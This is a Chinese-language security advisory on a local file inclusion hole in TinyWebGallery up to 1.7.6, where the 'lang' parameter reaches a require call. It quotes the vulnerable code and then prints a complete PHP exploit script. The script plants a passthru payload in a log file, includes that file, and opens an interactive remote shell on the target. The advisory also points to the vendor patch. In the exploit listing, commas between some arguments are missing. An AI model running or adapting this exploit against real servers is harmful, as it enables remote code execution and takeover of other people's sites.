TinyWebGallery /admin/_include/init.php模块本地文件包含漏洞

影响版本:
TinyWebGallery <= 1.7.6 LFI

程序介绍:

TinyWebGallery是基于php的开源相册。

漏洞分析:

 

TinyWebGallery的/admin/_include/init.php模块没有正确地验证用户请求中的$_GET[‘lang’]参数:

    110.    // Get Language
    111.    if (isset($GLOBALS[‘__GET’]["lang"]))  $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS[‘__GET’]["lang"];
    112.    elseif (isset($GLOBALS[‘__POST’]["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS[‘__POST’]["lang"];
    113.    else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"]; 
    114.    else $GLOBALS["language"] = $GLOBALS["default_language"];
    115.   
            […]
    138.   
    139.    // ——————————————————————————
    140.    // Necessary files
    141.    require _QUIXPLORER_PATH . "/_config/conf.php";
    142.   
    143.    if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
    144.        require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
    145.    else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
    146.        require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
    147.    else
    148.        require _QUIXPLORER_PATH . "/_lang/en.php";

远程攻击者可以通过在144行的require函数包含任意文件。成功攻击要求magic_quotes_gpc = off。

漏洞利用:

 

 
  1. <?php   
  2.   
  3. error_reporting(0);   
  4. set_time_limit(0);   
  5. ini_set("default_socket_timeout", 5);   
  6.   
  7. function http_send($host$packet)   
  8. {   
  9.     if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)   
  10.       die("\nsocket_create(): " . socket_strerror($s) . "\n");   
  11.   
  12.     if (socket_connect($s$host, 80) == false)   
  13.       die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");   
  14.   
  15.     socket_write($s$packetstrlen($packet));   
  16.     while ($m = socket_read($s, 2048)) $response .= $m;   
  17.   
  18.     socket_close($s);   
  19.     return $response;   
  20. }   
  21.   
  22. function check_target()   
  23. {   
  24.     global $host$path;   
  25.   
  26.     $packet  = "GET {$path}info.php?showphpinfo=true HTTP/1.0";   
  27.     $packet .= "Host: {$host}";   
  28.     $packet .= "Connection: close";   
  29.   
  30.     preg_match(‘/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/’, http_send($host$packet), $match);   
  31.   
  32.     if ($match[1] != "Off"die("\n[-] Exploit failed…magic_quotes_gpc = on\n");   
  33. }   
  34.   
  35. function inject_code()   
  36. {   
  37.     global $host$path;   
  38.   
  39.     $code     = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";   
  40.     $payload = "p_user={$code}&p_pass=";   
  41.   
  42.     $packet  = "POST {$path}admin/index.php?action=login HTTP/1.0";   
  43.     $packet .= "Host: {$host}";   
  44.     $packet .= "Content-Length: ".strlen($payload)."";   
  45.     $packet .= "Content-Type: application/x-www-form-urlencoded";   
  46.     $packet .= "Connection: close";   
  47.     $packet .= $payload;   
  48.   
  49.     http_send($host$packet);   
  50. }   
  51.   
  52. print "\n+———————————————————————+";   
  53. print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";   
  54. print "\n+———————————————————————+\n";   
  55.   
  56. if ($argc < 3)   
  57. {   
  58.     print "\nUsage……: php $argv[0] host path\n";   
  59.     print "\nExample….: php $argv[0] localhost /";   
  60.     print "\nExample….: php $argv[0] localhost /twg/\n";   
  61.     die();   
  62. }   
  63.   
  64. $host = $argv[1];   
  65. $path = $argv[2];   
  66.   
  67. check_target();   
  68. inject_code();   
  69.   
  70. $packet  = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0";   
  71. $packet .= "Host: {$host}";   
  72. $packet .= "Cmd: %s";   
  73. $packet .= "Connection: close";   
  74.   
  75. while (1)   
  76. {   
  77.     print "\ntwg-shell# ";   
  78.     if (($cmd = trim(fgets(STDIN))) == "exit"break;   
  79.     $response = http_send($host, sprintf($packetbase64_encode($cmd)));   
  80.     preg_match("/_code_/"$response) ? print array_pop(explode("_code_"$response)) : die("\n[-] Exploit failed…\n");   
  81. }   
  82.   
  83. ?>  

解决方案:
厂商补丁:
Michael Dempfle
—————
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.tinywebgallery.com/download.php?tinywebgallery=latest

发表评论?

0 条评论。

发表评论